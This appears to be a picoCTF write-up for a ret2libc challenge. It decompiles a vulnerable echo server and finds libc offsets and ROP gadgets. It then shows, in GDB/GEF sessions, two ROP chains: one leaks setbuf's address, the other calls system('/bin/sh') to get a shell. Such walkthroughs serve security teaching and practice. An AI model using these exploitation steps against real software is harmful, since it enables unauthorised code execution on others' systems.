Binary Exploitation
Video: https://www.youtube.com/watch?v=tMN5N5oid2c
The binary is a simple echo server that creates a sequence where the first letter is a capital and next letter is in lower case for all pairs of characters in the user input.
Exploiting the binary involves overflowing the stack to gain control of the instruction pointer and spawn a remote shell. it is not possible to input shell code and run it off the stack so ROP gadgets can be used which involves having the program run existing code in the binary to gain remote access.
A ROP gadget always has a RET instruction at the end of a sequence of instructions which can be found in the binary. The RET instruction pops the next value from the stack into the instruction pointer. If you manage to input a ROP chain on to the stack and call the ROP chain from the binary, the code in the ROP chain will be executed.
The exploit has three parts:
- Find buffer length to control instruction pointer.
- Leak a LIBC address using a ROP gadget.
- Use another ROP to get a remote shell.
Executable code – using Ghidra to decompile the binary.
uint convert_case(byte param_1,ulong param_2)
{
uint uVar1;
if (((char)param_1 < ‘a’) || (‘z’ < (char)param_1)) {
if (((char)param_1 < ‘A’) || (‘Z’ < (char)param_1)) {
uVar1 = (uint)param_1;
}
else {
if ((param_2 & 1) == 0) {
uVar1 = (uint)param_1;
}
else {
uVar1 = param_1 + 0x20; <- convert to lower case
}
}
}
else {
if ((param_2 & 1) == 0) {
uVar1 = param_1 – 0x20; <- convert to upper case
}
else {
uVar1 = (uint)param_1;
}
}
return uVar1;
}
*—————————————————————-
void main(undefined4 param_1,undefined8 param_2)
{
char cVar1;
char acStack168 [24];
undefined8 uStack144;
undefined8 local_88;
undefined4 local_7c;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined2 local_60;
undefined local_5e;
char *local_50;
undefined8 local_48;
ulong local_40;
__gid_t local_34;
ulong local_30;
uStack144 = 0x40079c;
local_88 = param_2;
local_7c = param_1;
setbuf(stdout,(char *)0x0);
uStack144 = 0x4007a1;
local_34 = getegid();
uStack144 = 0x4007bb;
setresgid(local_34,local_34,local_34);
local_40 = 0x1b;
local_78 = 0x20656d6f636c6557;
local_70 = 0x636520796d206f74;
local_68 = 0x6576726573206f68;
local_60 = 0x2172;
local_5e = 0;
local_48 = 0x1a;
local_50 = acStack168;
local_30 = 0;
while (local_30 < local_40) { <- loops 28 times
cVar1 = convert_case((int)*(char *)((long)&local_78 + local_30),local_30,local_30);
local_50[local_30] = cVar1;
local_30 = local_30 + 1;
}
puts(local_50);
do {
do_stuff(); <- core function for the binary
} while( true );
}
*——————————————————————————-
void do_stuff(void)
{
char cVar1;
undefined local_89;
char local_88 [112];
undefined8 local_18;
ulong local_10;
local_18 = 0;
__isoc99_scanf(“%[^\n]”,local_88); <-read all characters up until the newline
__isoc99_scanf(&DAT_0040093a,&local_89); <-read the newline
local_10 = 0;
while (local_10 < 100) { <- loops 100 times
cVar1 = convert_case((int)local_88[local_10],local_10,local_10);
local_88[local_10] = cVar1; <- save current converted character
local_10 = local_10 + 1;
}
puts(local_88); <- prints converted input
return;
}
GLIBC Address Offsets.
The address of glibc functions will be different every time the binary is executed so we need to calculate the real address in the exploit. Each address is relative to the glibc memory base address so the offset from the base address is what is required.
The offset of System is found using-
(i) Readelf
hamishk@ubuntu204:~/picoctf/hereisalibc$ readelf -s libc.so.6 | grep system 232: 000000000015a020 99 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.2.5 607: 000000000004f4e0 45 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE 1403: 000000000004f4e0 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
(ii) Ghidra
The offset of setbuf can be found using-
(i) Readelf
hamishk@ubuntu204:~/picoctf/hereisalibc$ readelf -s libc.so.6 | grep setbuf 30: 000000000008a8c0 47 FUNC GLOBAL DEFAULT 13 _IO_file_setbuf@@GLIBC_2.2.5 239: 00000000000811c0 412 FUNC WEAK DEFAULT 13 setbuffer@@GLIBC_2.2.5 910: 00000000000811c0 412 FUNC GLOBAL DEFAULT 13 _IO_setbuffer@@GLIBC_2.2.5 2185: 0000000000088540 10 FUNC GLOBAL DEFAULT 13 setbuf@@GLIBC_2.2.5
(ii) Ghidra
The offset of /bin/sh found using a different technique since we are looking for the location of the string –
(i) Objdump
hamishk@ubuntu204:~/picoctf/hereisalibc$ objdump -S -j .rodata libc.so.6 | grep /bin/sh 1b40f4: 20 31 00 2d 63 00 2f 62 69 6e 2f 73 68 00 65 78 1.-c./bin/sh.ex
The memory address is calculated by adding the number of bytes from the start of the line.
>>> hex(0x1b40f4 + 6)
‘0x1b40fa’
(ii)Ghidra
VULN Address Offsets.
The address of setbuf can be found .got.plt section in Ghidra. We want to print the current memory address of setbuf() instead of running it-
The address of puts can be found in the .plt section in Ghidra. Use this value because the binary needs to execute puts() –
The address of main can be found using-
(i) Readelf
hamishk@ubuntu204:~/picoctf/hereisalibc$ readelf -s vuln | grep main 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2) 52: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_ 63: 0000000000400771 305 FUNC GLOBAL DEFAULT 13 main
(ii) Ghidra
ROP Gadgets
hamishk@ubuntu204:~/picoctf/hereisalibc$ ROPgadget --binary vuln Gadgets information ============================================================ 0x00000000004005ee : adc byte ptr [rax], ah ; jmp rax 0x00000000004005b9 : add ah, dh ; nop dword ptr [rax + rax] ; ret 0x0000000000400587 : add al, 0 ; add byte ptr [rax], al ; jmp 0x400530 0x00000000004006d1 : add al, 0xf ; mov dh, 0x45 ; cld ; pop rbp ; ret 0x0000000000400567 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x400530 0x00000000004005bf : add bl, dh ; ret 0x000000000040091d : add byte ptr [rax], al ; add bl, dh ; ret 0x000000000040091b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret 0x0000000000400547 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x400530 0x0000000000400722 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x40075b 0x0000000000400847 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x400880 0x000000000040066c : add byte ptr [rax], al ; add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400600 0x000000000040091c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret 0x000000000040066d : add byte ptr [rax], al ; add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400600 0x0000000000400549 : add byte ptr [rax], al ; jmp 0x400530 0x0000000000400724 : add byte ptr [rax], al ; jmp 0x40075b 0x0000000000400849 : add byte ptr [rax], al ; jmp 0x400880 0x00000000004005f6 : add byte ptr [rax], al ; pop rbp ; ret 0x000000000040066e : add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400600 0x00000000004005be : add byte ptr [rax], al ; ret 0x00000000004005f5 : add byte ptr [rax], r8b ; pop rbp ; ret 0x00000000004005bd : add byte ptr [rax], r8b ; ret 0x000000000040066f : add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400600 0x0000000000400657 : add byte ptr [rcx], al ; pop rbp ; ret 0x0000000000400557 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x400530 0x0000000000400658 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret 0x00000000004006c7 : add eax, 0x20 ; jmp 0x4006d6 0x0000000000400577 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x400530 0x000000000040052b : add esp, 8 ; ret 0x000000000040052a : add rsp, 8 ; ret 0x00000000004006c9 : and bl, ch ; or cl, byte ptr [rdi] ; mov dh, 0x45 ; cld ; jmp 0x4006d6 0x00000000004005b8 : and byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; ret 0x0000000000400544 : and byte ptr [rax], al ; push 0 ; jmp 0x400530 0x0000000000400554 : and byte ptr [rax], al ; push 1 ; jmp 0x400530 0x0000000000400564 : and byte ptr [rax], al ; push 2 ; jmp 0x400530 0x0000000000400574 : and byte ptr [rax], al ; push 3 ; jmp 0x400530 0x0000000000400584 : and byte ptr [rax], al ; push 4 ; jmp 0x400530 0x0000000000400521 : and byte ptr [rax], al ; test rax, rax ; je 0x40052a ; call rax 0x000000000040076d : call qword ptr [rax + 0x4855c3c9] 0x0000000000400977 : call qword ptr [rax] 0x0000000000400528 : call rax 0x0000000000400721 : clc ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x40075b 0x00000000004006c6 : cld ; add eax, 0x20 ; jmp 0x4006d6 0x000000000040069f : cld ; jmp 0x4006d6 0x00000000004006d5 : cld ; pop rbp ; ret 0x00000000004006a5 : cld ; sub eax, 0x20 ; jmp 0x4006d6 0x000000000040071d : dec dword ptr [rax - 0x39] ; clc ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x40075b 0x00000000004008fc : fmul qword ptr [rax - 0x7d] ; ret 0x00000000004005ba : hlt ; nop dword ptr [rax + rax] ; ret 0x0000000000400673 : in eax, 0x5d ; jmp 0x400600 0x0000000000400526 : je 0x40052a ; call rax 0x00000000004005e9 : je 0x4005f8 ; pop rbp ; mov edi, 0x601050 ; jmp rax 0x000000000040062b : je 0x400638 ; pop rbp ; mov edi, 0x601050 ; jmp rax 0x000000000040069a : je 0x4006a2 ; movzx eax, byte ptr [rbp - 4] ; jmp 0x4006d6 0x00000000004006c1 : je 0x4006cc ; movzx eax, byte ptr [rbp - 4] ; add eax, 0x20 ; jmp 0x4006d6 0x000000000040054b : jmp 0x400530 0x0000000000400675 : jmp 0x400600 0x00000000004006a0 : jmp 0x4006d6 0x0000000000400726 : jmp 0x40075b 0x000000000040084b : jmp 0x400880 0x00000000004008a0 : jmp 0x400896 0x00000000004009f3 : jmp qword ptr [rax] 0x0000000000400a83 : jmp qword ptr [rbp] 0x0000000000400a1b : jmp qword ptr [rcx] 0x00000000004005f1 : jmp rax 0x000000000040076f : leave ; ret 0x0000000000400652 : mov byte ptr [rip + 0x2009ff], 1 ; pop rbp ; ret 0x00000000004006c4 : mov dh, 0x45 ; cld ; add eax, 0x20 ; jmp 0x4006d6 0x000000000040069d : mov dh, 0x45 ; cld ; jmp 0x4006d6 0x00000000004006d3 : mov dh, 0x45 ; cld ; pop rbp ; ret 0x00000000004006a3 : mov dh, 0x45 ; cld ; sub eax, 0x20 ; jmp 0x4006d6 0x0000000000400582 : mov dl, 0xa ; and byte ptr [rax], al ; push 4 ; jmp 0x400530 0x0000000000400844 : mov dword ptr [rbp - 0x28], 0 ; jmp 0x400880 0x000000000040071f : mov dword ptr [rbp - 8], 0 ; jmp 0x40075b 0x0000000000400842 : mov eax, 0xd845c748 ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x400880 0x0000000000400672 : mov ebp, esp ; pop rbp ; jmp 0x400600 0x00000000004005ec : mov edi, 0x601050 ; jmp rax 0x0000000000400572 : mov edx, 0x6800200a ; add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x400530 0x0000000000400843 : mov qword ptr [rbp - 0x28], 0 ; jmp 0x400880 0x000000000040071e : mov qword ptr [rbp - 8], 0 ; jmp 0x40075b 0x0000000000400671 : mov rbp, rsp ; pop rbp ; jmp 0x400600 0x00000000004006c3 : movzx eax, byte ptr [rbp - 4] ; add eax, 0x20 ; jmp 0x4006d6 0x000000000040069c : movzx eax, byte ptr [rbp - 4] ; jmp 0x4006d6 0x00000000004006d2 : movzx eax, byte ptr [rbp - 4] ; pop rbp ; ret 0x00000000004006a2 : movzx eax, byte ptr [rbp - 4] ; sub eax, 0x20 ; jmp 0x4006d6 0x000000000040076e : nop ; leave ; ret 0x00000000004005f3 : nop dword ptr [rax + rax] ; pop rbp ; ret 0x00000000004005bb : nop dword ptr [rax + rax] ; ret 0x0000000000400635 : nop dword ptr [rax] ; pop rbp ; ret 0x00000000004006cb : or cl, byte ptr [rdi] ; mov dh, 0x45 ; cld ; jmp 0x4006d6 0x0000000000400655 : or dword ptr [rax], esp ; add byte ptr [rcx], al ; pop rbp ; ret 0x00000000004006c2 : or dword ptr [rdi], ecx ; mov dh, 0x45 ; cld ; add eax, 0x20 ; jmp 0x4006d6 0x000000000040062c : or ebx, dword ptr [rbp - 0x41] ; push rax ; adc byte ptr [rax], ah ; jmp rax 0x000000000040090c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040090e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400910 : pop r14 ; pop r15 ; ret 0x0000000000400912 : pop r15 ; ret 0x0000000000400674 : pop rbp ; jmp 0x400600 0x00000000004005eb : pop rbp ; mov edi, 0x601050 ; jmp rax 0x000000000040090b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040090f : pop rbp ; pop r14 ; pop r15 ; ret 0x00000000004005f8 : pop rbp ; ret 0x0000000000400913 : pop rdi ; ret 0x0000000000400911 : pop rsi ; pop r15 ; ret 0x000000000040090d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400546 : push 0 ; jmp 0x400530 0x0000000000400556 : push 1 ; jmp 0x400530 0x0000000000400566 : push 2 ; jmp 0x400530 0x0000000000400576 : push 3 ; jmp 0x400530 0x0000000000400586 : push 4 ; jmp 0x400530 0x00000000004005ed : push rax ; adc byte ptr [rax], ah ; jmp rax 0x0000000000400670 : push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400600 0x000000000040052e : ret 0x0000000000400562 : ret 0x200a 0x00000000004007fd : ret 0x8348 0x0000000000400552 : retf 0x200a 0x0000000000400542 : ror byte ptr [rdx], cl ; and byte ptr [rax], al ; push 0 ; jmp 0x400530 0x00000000004005e8 : sal byte ptr [rbp + rcx + 0x5d], 0xbf ; push rax ; adc byte ptr [rax], ah ; jmp rax 0x000000000040062a : sal byte ptr [rbx + rcx + 0x5d], 0xbf ; push rax ; adc byte ptr [rax], ah ; jmp rax 0x0000000000400525 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret 0x0000000000400699 : sal byte ptr [rsi + rax + 0xf], 0xb6 ; cld ; jmp 0x4006d6 0x00000000004006c8 : shl byte ptr [rax], 0xeb ; or cl, byte ptr [rdi] ; mov dh, 0x45 ; cld ; jmp 0x4006d6 0x00000000004006a6 : sub eax, 0x20 ; jmp 0x4006d6 0x0000000000400925 : sub esp, 8 ; add rsp, 8 ; ret 0x0000000000400924 : sub rsp, 8 ; add rsp, 8 ; ret 0x000000000040091a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret 0x0000000000400524 : test eax, eax ; je 0x40052a ; call rax 0x0000000000400698 : test eax, eax ; je 0x4006a2 ; movzx eax, byte ptr [rbp - 4] ; jmp 0x4006d6 0x0000000000400523 : test rax, rax ; je 0x40052a ; call rax 0x0000000000400697 : test rax, rax ; je 0x4006a2 ; movzx eax, byte ptr [rbp - 4] ; jmp 0x4006d6 0x00000000004006a1 : xor al, 0xf ; mov dh, 0x45 ; cld ; sub eax, 0x20 ; jmp 0x4006d6 Unique gadgets found: 131
Binary Debugging – using GEF (GDB) to analyse the execution of the program.
The payloads for the exploits need to overflow the buffer so that the Instruction Pointer can be controlled. Test input can be used to determine the amount of padding required in any input so that real instructions can be executed.
Step 1. Find buffer overflow padding required.
Run the patched binary in GDB to find out what causes the program to crash:
gef➤ r Starting program: /home/hamishk/picoctf/hereisalibc/vuln_patched WeLcOmE To mY EcHo sErVeR! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd Program received signal SIGSEGV, Segmentation fault. 0x0000000000400770 in do_stuff ()
The Segmentation fault occurs at the RET instruction. The memory address on the stack that is put in the Instruction Pointer is checked to confirm it is valid. In this case, the check fails.
To find out how many characters we need to cause the fault, generate a character sequence that can be used to get our desired output in GDB then copy and paste as input to the program:
gef➤ pattern create 200 [+] Generating a pattern of 200 bytes (n=4) aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab [+] Saved as '$_gef0' gef➤ r Starting program: /home/hamishk/picoctf/hereisalibc/vuln_patched WeLcOmE To mY EcHo sErVeR! aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab AaAaBaAaCaAaDaAaEaAaFaAaGaAaHaAaIaAaJaAaKaAaLaAaMaAaNaAaOaAaPaAaQaAaRaAaSaAaTaAaUaAaVaAaWaAaXaAaYaAazaabbaabcaabdaabeaabd Program received signal SIGSEGV, Segmentation fault. 0x0000000000400770 in do_stuff ()
Now we get the padding value using:
gef➤ pattern offset $rsp [+] Searching for '$rsp' [+] Found at offset 136 (little-endian search) likely
Step 2. Leak a LIBC address.
Create an input payload to leak a memory address in libc. Set breakpoint in GDB:
gef➤ b *0x400770 Breakpoint 1 at 0x400770
Program pauses just before ROP chain is executed. The stack pointer $rsp points to the first gadget (pop rdi). This will be the next instruction in the instruction pointer $rip.
The whole payload can be seen in memory. The input has overflowed so that the first ROP gadget is at the top of the stack.
gef➤ telescope $rsp-144 24 0x00007ffddbf10c88│+0x0000: 0x0a007fcecf2befc1 0x00007ffddbf10c90│+0x0008: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]" 0x00007ffddbf10c98│+0x0010: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]" 0x00007ffddbf10ca0│+0x0018: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]" 0x00007ffddbf10ca8│+0x0020: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]" 0x00007ffddbf10cb0│+0x0028: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]" 0x00007ffddbf10cb8│+0x0030: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]" 0x00007ffddbf10cc0│+0x0038: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]" 0x00007ffddbf10cc8│+0x0040: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAA[...]" 0x00007ffddbf10cd0│+0x0048: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAA[...]" 0x00007ffddbf10cd8│+0x0050: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd" 0x00007ffddbf10ce0│+0x0058: "AaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd" 0x00007ffddbf10ce8│+0x0060: "AaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd" 0x00007ffddbf10cf0│+0x0068: "AaAaAAAAAAAAAAAAAAAAAAAAd" 0x00007ffddbf10cf8│+0x0070: "AAAAAAAAAAAAAAAAd" 0x00007ffddbf10d00│+0x0078: "AAAAAAAAd" 0x00007ffddbf10d08│+0x0080: 0x0000000000000064 ("d"?) 0x00007ffddbf10d10│+0x0088: 0x4141414141414141 0x00007ffddbf10d18│+0x0090: 0x0000000000400913 → <__libc_csu_init+99> pop rdi ← $rsp 0x00007ffddbf10d20│+0x0098: 0x0000000000601028 → 0x00007fcecf2ba540 → <setbuf+0> mov edx, 0x2000 0x00007ffddbf10d28│+0x00a0: 0x0000000000400540 → <puts@plt+0> jmp QWORD PTR [rip+0x200ad2] # 0x601018 <puts@got.plt> 0x00007ffddbf10d30│+0x00a8: 0x0000000000400771 → <main+0> push rbp 0x00007ffddbf10d38│+0x00b0: 0x0000000000002100 0x00007ffddbf10d40│+0x00b8: 0x00007ffddbf10ea8 → 0x00007ffddbf1243a → "./vuln_patched"
The ret instruction has put pop rdi in the instruction pointer $rip. Now setbuf is at the top of the stack.
The memory address of setbuf now in $rdi register ready for the call to puts.
Puts is now called. Memory address of main is now on the
Libc address of setbuf printed.
[+] Starting local process './vuln_patched': pid 14173 [*] running in new terminal: ['/bin/gdb', '-q', './vuln_patched', '14173'] [+] Waiting for debugger: Done [*] hex(leak)='0x7fcecf2ba540' [*] hex(base_address_of_libc)='0x7fcecf232000'
Step 3. Gain remote shell
Second payload with new ROP chain. Again pop rdi is at the top of the stack.
The whole payload of the second ROP chain can be seen in memory.
gef➤ telescope $rsp-144 24 0x00007ffddbf10bf8│+0x0000: 0x0a007fcecf2befc1 0x00007ffddbf10c00│+0x0008: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]" 0x00007ffddbf10c08│+0x0010: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]" 0x00007ffddbf10c10│+0x0018: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]" 0x00007ffddbf10c18│+0x0020: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]" 0x00007ffddbf10c20│+0x0028: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]" 0x00007ffddbf10c28│+0x0030: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]" 0x00007ffddbf10c30│+0x0038: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]" 0x00007ffddbf10c38│+0x0040: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAA[...]" 0x00007ffddbf10c40│+0x0048: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAA[...]" 0x00007ffddbf10c48│+0x0050: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd" 0x00007ffddbf10c50│+0x0058: "AaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd" 0x00007ffddbf10c58│+0x0060: "AaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd" 0x00007ffddbf10c60│+0x0068: "AaAaAAAAAAAAAAAAAAAAAAAAd" 0x00007ffddbf10c68│+0x0070: "AAAAAAAAAAAAAAAAd" 0x00007ffddbf10c70│+0x0078: "AAAAAAAAd" 0x00007ffddbf10c78│+0x0080: 0x0000000000000064 ("d"?) 0x00007ffddbf10c80│+0x0088: 0x4141414141414141 0x00007ffddbf10c88│+0x0090: 0x0000000000400913 → <__libc_csu_init+99> pop rdi ← $rsp 0x00007ffddbf10c90│+0x0098: 0x00007fcecf3e60fa → 0x0068732f6e69622f ("/bin/sh"?) 0x00007ffddbf10c98│+0x00a0: 0x000000000040052e → <_init+22> ret 0x00007ffddbf10ca0│+0x00a8: 0x00007fcecf2814e0 → <system+0> test rdi, rdi 0x00007ffddbf10ca8│+0x00b0: 0x0000000000002100 0x00007ffddbf10cb0│+0x00b8: 0x00007fcecf61e7e3 → 0x61f8c0000000000a
The first ROP gadget in now in the instruction pointer $rip.
The $rdi register now has the /bin/sh string ready for the system call.
The ret instruction used for stack alignment. The system call is now at the top of the stack.
[*] Switching to interactive mode
WeLcOmE To mY EcHo sErVeR!
AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd
$ id
uid=1000(hamishk) gid=1000(hamishk) groups=1000(hamishk),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)
$ ls
attacklocal.py connect.sh flag.txt libc.so.6 pwnsol.py vuln
attack.py core ld-2.27.so Makefile solve.py vuln_patched
$